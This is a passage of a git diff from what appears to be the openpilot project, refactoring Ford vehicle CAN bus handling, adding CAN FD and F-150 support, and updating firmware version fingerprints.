+238,14 @@ class CarInfo: # longitudinal column op_long = "Stock" - if CP.openpilotLongitudinalControl and not CP.enableDsu: - op_long = "openpilot" - elif CP.experimentalLongitudinalAvailable or CP.enableDsu: + if CP.experimentalLongitudinalAvailable or CP.enableDsu: op_long = "openpilot available" if CP.enableDsu: self.footnotes.append(CommonFootnote.EXP_LONG_DSU) else: self.footnotes.append(CommonFootnote.EXP_LONG_AVAIL) + elif CP.openpilotLongitudinalControl and not CP.enableDsu: + op_long = "openpilot" # min steer & enable speed columns # TODO: set all the min steer speeds in carParams and remove this diff --git a/selfdrive/car/ford/carcontroller.py b/selfdrive/car/ford/carcontroller.py index 5bdafa58b..dd30bc57e 100644 --- a/selfdrive/car/ford/carcontroller.py +++ b/selfdrive/car/ford/carcontroller.py @@ -2,9 +2,9 @@ from cereal import car from common.numpy_fast import clip from opendbc.can.packer import CANPacker from selfdrive.car import apply_std_steer_angle_limits -from selfdrive.car.ford.fordcan import create_acc_msg, create_acc_ui_msg, create_button_msg, create_lat_ctl_msg, \ - create_lat_ctl2_msg, create_lka_msg, create_lkas_ui_msg -from selfdrive.car.ford.values import CANBUS, CANFD_CARS, CarControllerParams +from selfdrive.car.ford.fordcan import CanBus, create_acc_msg, create_acc_ui_msg, create_button_msg, \ + create_lat_ctl_msg, create_lat_ctl2_msg, create_lka_msg, create_lkas_ui_msg +from selfdrive.car.ford.values import CANFD_CAR, CarControllerParams LongCtrlState = car.CarControl.Actuators.LongControlState VisualAlert = car.CarControl.HUDControl.VisualAlert @@ -27,6 +27,7 @@ class CarController: self.CP = CP self.VM = VM self.packer = CANPacker(dbc_name) + self.CAN = CanBus(CP) self.frame = 0 self.apply_curvature_last = 0 @@ -42,18 +43,19 @@ class CarController: main_on = CS.out.cruiseState.available steer_alert = hud_control.visualAlert in (VisualAlert.steerRequired, VisualAlert.ldw) + fcw_alert = hud_control.visualAlert == VisualAlert.fcw ### acc buttons ### if CC.cruiseControl.cancel: - can_sends.append(create_button_msg(self.packer, CS.buttons_stock_values, cancel=True)) - can_sends.append(create_button_msg(self.packer, CS.buttons_stock_values, cancel=True, bus=CANBUS.main)) + can_sends.append(create_button_msg(self.packer, self.CAN.camera, CS.buttons_stock_values, cancel=True)) + can_sends.append(create_button_msg(self.packer, self.CAN.main, CS.buttons_stock_values, cancel=True)) elif CC.cruiseControl.resume and (self.frame % CarControllerParams.BUTTONS_STEP) == 0: - can_sends.append(create_button_msg(self.packer, CS.buttons_stock_values, resume=True)) - can_sends.append(create_button_msg(self.packer, CS.buttons_stock_values, resume=True, bus=CANBUS.main)) + can_sends.append(create_button_msg(self.packer, self.CAN.camera, CS.buttons_stock_values, resume=True)) + can_sends.append(create_button_msg(self.packer, self.CAN.main, CS.buttons_stock_values, resume=True)) # if stock lane centering isn't off, send a button press to toggle it off # the stock system checks for steering pressed, and eventually disengages cruise control elif CS.acc_tja_status_stock_values["Tja_D_Stat"] != 0 and (self.frame % CarControllerParams.ACC_UI_STEP) == 0: - can_sends.append(create_button_msg(self.packer, CS.buttons_stock_values, tja_toggle=True)) + can_sends.append(create_button_msg(self.packer, self.CAN.camera, CS.buttons_stock_values, tja_toggle=True)) ### lateral control ### # send steer msg at 20Hz @@ -67,17 +69,17 @@ class CarController: self.apply_curvature_last = apply_curvature - if self.CP.carFingerprint in CANFD_CARS: + if self.CP.carFingerprint in CANFD_CAR: # TODO: extended mode mode = 1 if CC.latActive else 0 counter = (self.frame // CarControllerParams.STEER_STEP) % 0xF - can_sends.append(create_lat_ctl2_msg(self.packer, mode, 0., 0., -apply_curvature, 0., counter)) + can_sends.append(create_lat_ctl2_msg(self.packer, self.CAN, mode, 0., 0., -apply_curvature, 0., counter)) else: - can_sends.append(create_lat_ctl_msg(self.packer, CC.latActive, 0., 0., -apply_curvature, 0.)) + can_sends.append(create_lat_ctl_msg(self.packer, self.CAN, CC.latActive, 0., 0., -apply_curvature, 0.)) # send lka msg at 33Hz if (self.frame % CarControllerParams.LKA_STEP) == 0: - can_sends.append(create_lka_msg(self.packer)) + can_sends.append(create_lka_msg(self.packer, self.CAN)) ### longitudinal control ### # send acc msg at 50Hz @@ -89,17 +91,17 @@ class CarController: gas = CarControllerParams.INACTIVE_GAS stopping = CC.actuators.longControlState == LongCtrlState.stopping - can_sends.append(create_acc_msg(self.packer, CC.longActive, gas, accel, stopping)) + can_sends.append(create_acc_msg(self.packer, self.CAN, CC.longActive, gas, accel, stopping)) ### ui ### send_ui = (self.main_on_last != main_on) or (self.lkas_enabled_last != CC.latActive) or (self.steer_alert_last != steer_alert) # send lkas ui msg at 1Hz or if ui state changes if (self.frame % CarControllerParams.LKAS_UI_STEP) == 0 or send_ui: - can_sends.append(create_lkas_ui_msg(self.packer, main_on, CC.latActive, steer_alert, hud_control, CS.lkas_status_stock_values)) + can_sends.append(create_lkas_ui_msg(self.packer, self.CAN, main_on, CC.latActive, steer_alert, hud_control, CS.lkas_status_stock_values)) # send acc ui msg at 5Hz or if ui state changes if (self.frame % CarControllerParams.ACC_UI_STEP) == 0 or send_ui: - can_sends.append(create_acc_ui_msg(self.packer, self.CP, main_on, CC.latActive, - CS.out.cruiseState.standstill, hud_control, + can_sends.append(create_acc_ui_msg(self.packer, self.CAN, self.CP, main_on, CC.latActive, + fcw_alert, CS.out.cruiseState.standstill, hud_control, CS.acc_tja_status_stock_values)) self.main_on_last = main_on diff --git a/selfdrive/car/ford/carstate.py b/selfdrive/car/ford/carstate.py index 9be2c7637..d9848096e 100644 --- a/selfdrive/car/ford/carstate.py +++ b/selfdrive/car/ford/carstate.py @@ -3,7 +3,8 @@ from common.conversions import Conversions as CV from opendbc.can.can_define import CANDefine from opendbc.can.parser import CANParser from selfdrive.car.interfaces import CarStateBase -from selfdrive.car.ford.values import CANBUS, DBC, CarControllerParams +from selfdrive.car.ford.fordcan import CanBus +from selfdrive.car.ford.values import CANFD_CAR, CarControllerParams, DBC GearShifter = car.CarState.GearShifter TransmissionType = car.CarParams.TransmissionType @@ -54,6 +55,10 @@ class CarState(CarStateBase): ret.steerFaultPermanent = cp.vl["EPAS_INFO"]["EPAS_Failure"] in (2, 3) # ret.espDisabled = False # TODO: find traction control signal + if self.CP.carFingerprint in CANFD_CAR: + # this signal is always 0 on non-CAN FD cars + ret.steerFaultTemporary |= cp.vl["Lane_Assist_Data3_FD1"]["LatCtlSte_D_Stat"] not in (1, 2, 3) + # cruise state ret.cruiseState.speed = cp.vl["EngBrakeData"]["Veh_V_DsplyCcSet"] * CV.MPH_TO_MS ret.cruiseState.enabled = cp.vl["EngBrakeData"]["CcStat_D_Actl"] in (4, 5) @@ -61,6 +66,8 @@ class CarState(CarStateBase): ret.cruiseState.nonAdaptive = cp.vl["Cluster_Info1_FD1"]["AccEnbl_B_RqDrv"] == 0 ret.cruiseState.standstill = cp.vl["EngBrakeData"]["AccStopMde_D_Rq"] == 3 ret.accFaulted = cp.vl["EngBrakeData"]["CcStat_D_Actl"] in (1, 2) + if not self.CP.openpilotLongitudinalControl: + ret.accFaulted = ret.accFaulted or cp_cam.vl["ACCDATA"]["CmbbDeny_B_Actl"] == 1 # gear if self.CP.transmissionType == TransmissionType.automatic: @@ -90,8 +97,9 @@ class CarState(CarStateBase): # blindspot sensors if self.CP.enableBsm: - ret.leftBlindspot = cp.vl["Side_Detect_L_Stat"]["SodDetctLeft_D_Stat"] != 0 - ret.rightBlindspot = cp.vl["Side_Detect_R_Stat"]["SodDetctRight_D_Stat"] != 0 + cp_bsm = cp_cam if self.CP.carFingerprint in CANFD_CAR else cp + ret.leftBlindspot = cp_bsm.vl["Side_Detect_L_Stat"]["SodDetctLeft_D_Stat"] != 0 + ret.rightBlindspot = cp_bsm.vl["Side_Detect_R_Stat"]["SodDetctRight_D_Stat"] != 0 # Stock steering buttons so that we can passthru blinkers etc. self.buttons_stock_values = cp.vl["Steering_Data_FD1"] @@ -178,12 +186,19 @@ class CarState(CarStateBase): ("Cluster_Info1_FD1", 10), ("SteeringPinion_Data", 100), ("EPAS_INFO", 50), - ("Lane_Assist_Data3_FD1", 33), ("Steering_Data_FD1", 10), ("BodyInfo_3_FD1", 2), ("RCMStatusMessage2_FD1", 10), ] + if CP.carFingerprint in CANFD_CAR: + signals += [ + ("LatCtlSte_D_Stat", "Lane_Assist_Data3_FD1"), # PSCM lateral control status + ] + checks += [ + ("Lane_Assist_Data3_FD1", 33), + ] + if CP.transmissionType == TransmissionType.automatic: signals += [ ("TrnRng_D_RqGsm", "Gear_Shift_by_Wire_FD1"), # GWM transmission gear position @@ -201,7 +216,7 @@ class CarState(CarStateBase): ("BCM_Lamp_Stat_FD1", 1), ] - if CP.enableBsm: + if CP.enableBsm and CP.carFingerprint not in CANFD_CAR: signals += [ ("SodDetctLeft_D_Stat", "Side_Detect_L_Stat"), # Blindspot sensor, left ("SodDetctRight_D_Stat", "Side_Detect_R_Stat"), # Blindspot sensor, right @@ -211,12 +226,14 @@ class CarState(CarStateBase): ("Side_Detect_R_Stat", 5), ] - return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CANBUS.main) + return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CanBus(CP).main) @staticmethod def get_cam_can_parser(CP): signals = [ # sig_name, sig_address + ("CmbbDeny_B_Actl", "ACCDATA"), # ACC/AEB unavailable/lockout + ("CmbbBrkDecel_B_Rq", "ACCDATA_2"), # AEB actuation request bit ("HaDsply_No_Cs", "ACCDATA_3"), @@ -263,9 +280,20 @@ class CarState(CarStateBase): checks = [ # sig_address, frequency + ("ACCDATA", 50), ("ACCDATA_2", 50), ("ACCDATA_3", 5), ("IPMA_Data", 1), ] - return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CANBUS.camera) + if CP.enableBsm and CP.carFingerprint in CANFD_CAR: + signals += [ + ("SodDetctLeft_D_Stat", "Side_Detect_L_Stat"), # Blindspot sensor, left + ("SodDetctRight_D_Stat", "Side_Detect_R_Stat"), # Blindspot sensor, right + ] + checks += [ + ("Side_Detect_L_Stat", 5), + ("Side_Detect_R_Stat", 5), + ] + + return CANParser(DBC[CP.carFingerprint]["pt"], signals, checks, CanBus(CP).camera) diff --git a/selfdrive/car/ford/fordcan.py b/selfdrive/car/ford/fordcan.py index 97a8c025d..a49d7ad85 100644 --- a/selfdrive/car/ford/fordcan.py +++ b/selfdrive/car/ford/fordcan.py @@ -1,10 +1,27 @@ from cereal import car -from selfdrive.car.ford.values import CANBUS +from selfdrive.car import CanBusBase HUDControl = car.CarControl.HUDControl -def calculate_lat_ctl2_checksum(mode: int, counter: int, dat: bytearray): +class CanBus(CanBusBase): + def __init__(self, CP=None, fingerprint=None) -> None: + super().__init__(CP, fingerprint) + + @property + def main(self) -> int: + return self.offset + + @property + def radar(self) -> int: + return self.offset + 1 + + @property + def camera(self) -> int: + return self.offset + 2 + + +def calculate_lat_ctl2_checksum(mode: int, counter: int, dat: bytearray) -> int: curvature = (dat[2] << 3) | ((dat[3]) >> 5) curvature_rate = (dat[6] << 3) | ((dat[7]) >> 5) path_angle = ((dat[3] & 0x1F) << 6) | ((dat[4]) >> 2) @@ -17,7 +34,7 @@ def calculate_lat_ctl2_checksum(mode: int, counter: int, dat: bytearray): return 0xFF - (checksum & 0xFF) -def create_lka_msg(packer): +def create_lka_msg(packer, CAN: CanBus): """ Creates an empty CAN message for the Ford LKA Command. @@ -26,10 +43,10 @@ def create_lka_msg(packer): Frequency is 33Hz. """ - return packer.make_can_msg("Lane_Assist_Data1", CANBUS.main, {}) + return packer.make_can_msg("Lane_Assist_Data1", CAN.main, {}) -def create_lat_ctl_msg(packer, lat_active: bool, path_offset: float, path_angle: float, curvature: float, +def create_lat_ctl_msg(packer, CAN: CanBus, lat_active: bool, path_offset: float, path_angle: float, curvature: float, curvature_rate: float): """ Creates a CAN message for the Ford TJA/LCA Command. @@ -66,10 +83,10 @@ def create_lat_ctl_msg(packer, lat_active: bool, path_offset: float, path_angle: "LatCtlCurv_NoRate_Actl": curvature_rate, # Curvature rate [-0.001024|0.00102375] 1/meter^2 "LatCtlCurv_No_Actl": curvature, # Curvature [-0.02|0.02094] 1/meter } - return packer.make_can_msg("LateralMotionControl", CANBUS.main, values) + return packer.make_can_msg("LateralMotionControl", CAN.main, values) -def create_lat_ctl2_msg(packer, mode: int, path_offset: float, path_angle: float, curvature: float, +def create_lat_ctl2_msg(packer, CAN: CanBus, mode: int, path_offset: float, path_angle: float, curvature: float, curvature_rate: float, counter: int): """ Create a CAN message for the new Ford Lane Centering command. @@ -95,13 +112,13 @@ def create_lat_ctl2_msg(packer, mode: int, path_offset: float, path_angle: float } # calculate checksum - dat = packer.make_can_msg("LateralMotionControl2", CANBUS.main, values)[2] + dat = packer.make_can_msg("LateralMotionControl2", 0, values)[2] values["LatCtlPath_No_Cs"] = calculate_lat_ctl2_checksum(mode, counter, dat) - return packer.make_can_msg("LateralMotionControl2", CANBUS.main, values) + return packer.make_can_msg("LateralMotionControl2", CAN.main, values) -def create_acc_msg(packer, long_active: bool, gas: float, accel: float, stopping: bool): +def create_acc_msg(packer, CAN: CanBus, long_active: bool, gas: float, accel: float, stopping: bool): """ Creates a CAN message for the Ford ACC Command. @@ -122,11 +139,11 @@ def create_acc_msg(packer, long_active: bool, gas: float, accel: float, stopping "AccBrkDecel_B_Rq": 1 if decel else 0, # Deceleration request: 0=Inactive, 1=Active "AccStopStat_B_Rq": 1 if stopping else 0, } - return packer.make_can_msg("ACCDATA", CANBUS.main, values) + return packer.make_can_msg("ACCDATA", CAN.main, values) -def create_acc_ui_msg(packer, CP, main_on: bool, enabled: bool, standstill: bool, hud_control, - stock_values: dict): +def create_acc_ui_msg(packer, CAN: CanBus, CP, main_on: bool, enabled: bool, fcw_alert: bool, standstill: bool, + hud_control, stock_values: dict): """ Creates a CAN message for the Ford IPC adaptive cruise, forward collision warning and traffic jam assist status. @@ -197,10 +214,15 @@ def create_acc_ui_msg(packer, CP, main_on: bool, enabled: bool, standstill: bool "AccTGap_D_Dsply": 4, # Fixed time gap in UI }) - return packer.make_can_msg("ACCDATA_3", CANBUS.main, values) + # Forwards FCW alert from IPMA + if fcw_alert: + values["FcwVisblWarn_B_Rq"] = 1 # FCW visible alert + + return packer.make_can_msg("ACCDATA_3", CAN.main, values) -def create_lkas_ui_msg(packer, main_on: bool, enabled: bool, steer_alert: bool, hud_control, stock_values: dict): +def create_lkas_ui_msg(packer, CAN: CanBus, main_on: bool, enabled: bool, steer_alert: bool, hud_control, + stock_values: dict): """ Creates a CAN message for the Ford IPC IPMA/LKAS status. @@ -263,11 +285,10 @@ def create_lkas_ui_msg(packer, main_on: bool, enabled: bool, steer_alert: bool, "LaActvStats_D_Dsply": lines, # LKAS status (lines) [0|31] "LaHandsOff_D_Dsply": hands_on_wheel_dsply, # 0=HandsOn, 1=Level1 (w/o chime), 2=Level2 (w/ chime), 3=Suppressed }) - return packer.make_can_msg("IPMA_Data", CANBUS.main, values) + return packer.make_can_msg("IPMA_Data", CAN.main, values) -def create_button_msg(packer, stock_values: dict, cancel=False, resume=False, tja_toggle=False, - bus: int = CANBUS.camera): +def create_button_msg(packer, bus: int, stock_values: dict, cancel=False, resume=False, tja_toggle=False): """ Creates a CAN message for the Ford SCCM buttons/switches. diff --git a/selfdrive/car/ford/interface.py b/selfdrive/car/ford/interface.py index 626853dd8..d74baa3ce 100644 --- a/selfdrive/car/ford/interface.py +++ b/selfdrive/car/ford/interface.py @@ -3,7 +3,8 @@ from cereal import car from panda import Panda from common.conversions import Conversions as CV from selfdrive.car import STD_CARGO_KG, get_safety_config -from selfdrive.car.ford.values import CAR, Ecu +from selfdrive.car.ford.fordcan import CanBus +from selfdrive.car.ford.values import CANFD_CAR, CAR, Ecu from selfdrive.car.interfaces import CarInterfaceBase TransmissionType = car.CarParams.TransmissionType @@ -14,23 +15,27 @@ class CarInterface(CarInterfaceBase): @staticmethod def _get_params(ret, candidate, fingerprint, car_fw, experimental_long, docs): ret.carName = "ford" - ret.safetyConfigs = [get_safety_config(car.CarParams.SafetyModel.ford)] - - # These cars are dashcam only for lack of test coverage. - # Once a user confirms each car works and a test route is - # added to selfdrive/car/tests/routes.py, we can remove it from this list. - ret.dashcamOnly = candidate in {CAR.FOCUS_MK4} + ret.dashcamOnly = candidate in {CAR.F_150_MK14} ret.radarUnavailable = True ret.steerControlType = car.CarParams.SteerControlType.angle ret.steerActuatorDelay = 0.2 ret.steerLimitTimer = 1.0 + CAN = CanBus(fingerprint=fingerprint) + cfgs = [get_safety_config(car.CarParams.SafetyModel.ford)] + if CAN.main >= 4: + cfgs.insert(0, get_safety_config(car.CarParams.SafetyModel.noOutput)) + ret.safetyConfigs = cfgs + ret.experimentalLongitudinalAvailable = True if experimental_long: - ret.safetyConfigs[0].safetyParam |= Panda.FLAG_FORD_LONG_CONTROL + ret.safetyConfigs[-1].safetyParam |= Panda.FLAG_FORD_LONG_CONTROL ret.openpilotLongitudinalControl = True + if candidate in CANFD_CAR: + ret.safetyConfigs[-1].safetyParam |= Panda.FLAG_FORD_CANFD + if candidate == CAR.BRONCO_SPORT_MK1: ret.wheelbase = 2.67 ret.steerRatio = 17.7 @@ -46,6 +51,12 @@ class CarInterface(CarInterfaceBase): ret.steerRatio = 16.8 ret.mass = 2050 + STD_CARGO_KG + elif candidate == CAR.F_150_MK14: + # required trim only on SuperCrew + ret.wheelbase = 3.69 + ret.steerRatio = 17.0 + ret.mass = 2000 + STD_CARGO_KG + elif candidate == CAR.FOCUS_MK4: ret.wheelbase = 2.7 ret.steerRatio = 15.0 @@ -61,7 +72,7 @@ class CarInterface(CarInterfaceBase): # Auto Transmission: 0x732 ECU or Gear_Shift_by_Wire_FD1 found_ecus = [fw.ecu for fw in car_fw] - if Ecu.shiftByWire in found_ecus or 0x5A in fingerprint[0] or docs: + if Ecu.shiftByWire in found_ecus or 0x5A in fingerprint[CAN.main] or docs: ret.transmissionType = TransmissionType.automatic else: ret.transmissionType = TransmissionType.manual @@ -69,7 +80,7 @@ class CarInterface(CarInterfaceBase): # BSM: Side_Detect_L_Stat, Side_Detect_R_Stat # TODO: detect bsm in car_fw? - ret.enableBsm = 0x3A6 in fingerprint[0] and 0x3A7 in fingerprint[0] + ret.enableBsm = 0x3A6 in fingerprint[CAN.main] and 0x3A7 in fingerprint[CAN.main] # LCA can steer down to zero ret.minSteerSpeed = 0. diff --git a/selfdrive/car/ford/radar_interface.py b/selfdrive/car/ford/radar_interface.py index ee4efb311..e44730ca4 100644 --- a/selfdrive/car/ford/radar_interface.py +++ b/selfdrive/car/ford/radar_interface.py @@ -3,7 +3,8 @@ from math import cos, sin from cereal import car from opendbc.can.parser import CANParser from common.conversions import Conversions as CV -from selfdrive.car.ford.values import CANBUS, DBC, RADAR +from selfdrive.car.ford.fordcan import CanBus +from selfdrive.car.ford.values import DBC, RADAR from selfdrive.car.interfaces import RadarInterfaceBase DELPHI_ESR_RADAR_MSGS = list(range(0x500, 0x540)) @@ -12,16 +13,16 @@ DELPHI_MRR_RADAR_START_ADDR = 0x120 DELPHI_MRR_RADAR_MSG_COUNT = 64 -def _create_delphi_esr_radar_can_parser(): +def _create_delphi_esr_radar_can_parser(CP) -> CANParser: msg_n = len(DELPHI_ESR_RADAR_MSGS) signals = list(zip(['X_Rel'] * msg_n + ['Angle'] * msg_n + ['V_Rel'] * msg_n, DELPHI_ESR_RADAR_MSGS * 3)) checks = list(zip(DELPHI_ESR_RADAR_MSGS, [20] * msg_n)) - return CANParser(RADAR.DELPHI_ESR, signals, checks, CANBUS.radar) + return CANParser(RADAR.DELPHI_ESR, signals, checks, CanBus(CP).radar) -def _create_delphi_mrr_radar_can_parser(): +def _create_delphi_mrr_radar_can_parser(CP) -> CANParser: signals = [] checks = [] @@ -37,7 +38,7 @@ def _create_delphi_mrr_radar_can_parser(): ] checks += [(msg, 20)] - return CANParser(RADAR.DELPHI_MRR, signals, checks, CANBUS.radar) + return CANParser(RADAR.DELPHI_MRR, signals, checks, CanBus(CP).radar) class RadarInterface(RadarInterfaceBase): @@ -50,11 +51,11 @@ class RadarInterface(RadarInterfaceBase): if self.radar is None or CP.radarUnavailable: self.rcp = None elif self.radar == RADAR.DELPHI_ESR: - self.rcp = _create_delphi_esr_radar_can_parser() + self.rcp = _create_delphi_esr_radar_can_parser(CP) self.trigger_msg = DELPHI_ESR_RADAR_MSGS[-1] self.valid_cnt = {key: 0 for key in DELPHI_ESR_RADAR_MSGS} elif self.radar == RADAR.DELPHI_MRR: - self.rcp = _create_delphi_mrr_radar_can_parser() + self.rcp = _create_delphi_mrr_radar_can_parser(CP) self.trigger_msg = DELPHI_MRR_RADAR_START_ADDR + DELPHI_MRR_RADAR_MSG_COUNT - 1 else: raise ValueError(f"Unsupported radar: {self.radar}") diff --git a/selfdrive/car/ford/values.py b/selfdrive/car/ford/values.py index edc40f629..7ce0abb21 100644 --- a/selfdrive/car/ford/values.py +++ b/selfdrive/car/ford/values.py @@ -1,10 +1,12 @@ from collections import defaultdict -from dataclasses import dataclass -from typing import Dict, List, Set, Union +from dataclasses import dataclass, field +from enum import Enum +from typing import Dict, List, Union from cereal import car from selfdrive.car import AngleRateLimit, dbc_dict -from selfdrive.car.docs_definitions import CarHarness, CarInfo, CarParts, Device +from selfdrive.car.docs_definitions import CarFootnote, CarHarness, CarInfo, CarParts, Column, \ + Device from selfdrive.car.fw_query_definitions import FwQueryConfig, Request, StdQueries Ecu = car.CarParams.Ecu @@ -38,21 +40,16 @@ class CarControllerParams: pass -class CANBUS: - main = 0 - radar = 1 - camera = 2 - - class CAR: BRONCO_SPORT_MK1 = "FORD BRONCO SPORT 1ST GEN" ESCAPE_MK4 = "FORD ESCAPE 4TH GEN" EXPLORER_MK6 = "FORD EXPLORER 6TH GEN" + F_150_MK14 = "FORD F-150 14TH GEN" FOCUS_MK4 = "FORD FOCUS 4TH GEN" MAVERICK_MK1 = "FORD MAVERICK 1ST GEN" -CANFD_CARS: Set[str] = set() +CANFD_CAR = {CAR.F_150_MK14} class RADAR: @@ -62,11 +59,22 @@ class RADAR: DBC: Dict[str, Dict[str, str]] = defaultdict(lambda: dbc_dict("ford_lincoln_base_pt", RADAR.DELPHI_MRR)) +# F-150 radar is not yet supported +DBC[CAR.F_150_MK14] = dbc_dict("ford_lincoln_base_pt", None) + + +class Footnote(Enum): + FOCUS = CarFootnote( + "Refers only to the Focus Mk4 (C519) available in Europe/China/Taiwan/Australasia, not the Focus Mk3 (C346) in " + + "North and South America/Southeast Asia.", + Column.MODEL, + ) + @dataclass class FordCarInfo(CarInfo): package: str = "Co-Pilot360 Assist+" - car_parts: CarParts = CarParts.common([CarHarness.ford_q3]) + car_parts: CarParts = field(default_factory=CarParts.common([CarHarness.ford_q3])) def init_make(self, CP: car.CarParams): if CP.carFingerprint in (CAR.BRONCO_SPORT_MK1, CAR.MAVERICK_MK1): @@ -81,26 +89,35 @@ CAR_INFO: Dict[str, Union[CarInfo, List[CarInfo]]] = { ], CAR.EXPLORER_MK6: [ FordCarInfo("Ford Explorer 2020-22"), - FordCarInfo("Lincoln Aviator 2021", "Co-Pilot360 Plus"), + FordCarInfo("Lincoln Aviator 2020-21", "Co-Pilot360 Plus"), ], - CAR.FOCUS_MK4: FordCarInfo("Ford Focus EU 2018", "Adaptive Cruise Control with Lane Centering"), + CAR.F_150_MK14: FordCarInfo("Ford F-150 2023", "Co-Pilot360 Active 2.0"), + CAR.FOCUS_MK4: FordCarInfo("Ford Focus 2018", "Adaptive Cruise Control with Lane Centering", footnotes=[Footnote.FOCUS]), CAR.MAVERICK_MK1: FordCarInfo("Ford Maverick 2022-23", "Co-Pilot360 Assist"), } FW_QUERY_CONFIG = FwQueryConfig( requests=[ + # CAN and CAN FD queries are combined. + # FIXME: For CAN FD, ECUs respond with frames larger than 8 bytes on the powertrain bus + # TODO: properly handle auxiliary requests to separate queries and add back whitelists Request( [StdQueries.TESTER_PRESENT_REQUEST, StdQueries.MANUFACTURER_SOFTWARE_VERSION_REQUEST], [StdQueries.TESTER_PRESENT_RESPONSE, StdQueries.MANUFACTURER_SOFTWARE_VERSION_RESPONSE], - whitelist_ecus=[Ecu.engine], + # whitelist_ecus=[Ecu.engine], + auxiliary=True, ), Request( [StdQueries.TESTER_PRESENT_REQUEST, StdQueries.MANUFACTURER_SOFTWARE_VERSION_REQUEST], [StdQueries.TESTER_PRESENT_RESPONSE, StdQueries.MANUFACTURER_SOFTWARE_VERSION_RESPONSE], + # whitelist_ecus=[Ecu.eps, Ecu.abs, Ecu.fwdRadar, Ecu.fwdCamera, Ecu.shiftByWire], bus=0, - whitelist_ecus=[Ecu.eps, Ecu.abs, Ecu.fwdRadar, Ecu.fwdCamera, Ecu.shiftByWire], + auxiliary=True, ), ], + extra_ecus=[ + (Ecu.shiftByWire, 0x732, None), + ], ) FW_VERSIONS = { @@ -122,10 +139,7 @@ FW_VERSIONS = { (Ecu.engine, 0x7E0, None): [ b'M1PA-14C204-GF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'N1PA-14C204-AC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - ], - (Ecu.shiftByWire, 0x732, None): [ - b'LX6P-14G395-AD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - b'PZ1P-14G395-AB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'N1PA-14C204-AD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], }, CAR.ESCAPE_MK4: { @@ -136,6 +150,7 @@ FW_VERSIONS = { ], (Ecu.abs, 0x760, None): [ b'LX6C-2D053-NS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'LX6C-2D053-NT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'LX6C-2D053-NY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'LX6C-2D053-SA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], @@ -148,16 +163,14 @@ FW_VERSIONS = { ], (Ecu.engine, 0x7E0, None): [ b'LX6A-14C204-BJV\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'LX6A-14C204-BJX\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'LX6A-14C204-CNG\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'LX6A-14C204-ESG\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'MX6A-14C204-BEF\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'MX6A-14C204-BEJ\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'MX6A-14C204-CAB\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'NX6A-14C204-BLE\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], - (Ecu.shiftByWire, 0x732, None): [ - b'LX6P-14G395-AB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - b'LX6P-14G395-AD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - b'PZ1P-14G395-AC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - ], }, CAR.EXPLORER_MK6: { (Ecu.eps, 0x730, None): [ @@ -165,6 +178,7 @@ FW_VERSIONS = { b'L1MC-14D003-AK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'L1MC-14D003-AL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'M1MC-14D003-AB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'M1MC-14D003-AC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], (Ecu.abs, 0x760, None): [ b'L1MC-2D053-AJ\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', @@ -184,17 +198,30 @@ FW_VERSIONS = { ], (Ecu.engine, 0x7E0, None): [ b'LB5A-14C204-ATJ\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'LB5A-14C204-AZL\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'LB5A-14C204-BUJ\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'LB5A-14C204-EAC\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'MB5A-14C204-MD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'MB5A-14C204-RC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + b'NB5A-14C204-AZD\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'NB5A-14C204-HB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], - (Ecu.shiftByWire, 0x732, None): [ - b'L1MP-14C561-AB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - b'L1MP-14G395-AD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - b'L1MP-14G395-AE\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - b'L1MP-14G395-JB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + }, + CAR.F_150_MK14: { + (Ecu.eps, 0x730, None): [ + b'ML3V-14D003-BC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + ], + (Ecu.abs, 0x760, None): [ + b'PL34-2D053-CA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + ], + (Ecu.fwdRadar, 0x764, None): [ + b'ML3T-14D049-AL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', + ], + (Ecu.fwdCamera, 0x706, None): [ + b'PJ6T-14H102-ABJ\x00\x00\x00\x00\x00\x00\x00\x00\x00', + ], + (Ecu.engine, 0x7E0, None): [ + b'PL3A-14C204-BRB\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], }, CAR.FOCUS_MK4: { @@ -213,8 +240,6 @@ FW_VERSIONS = { (Ecu.engine, 0x7E0, None): [ 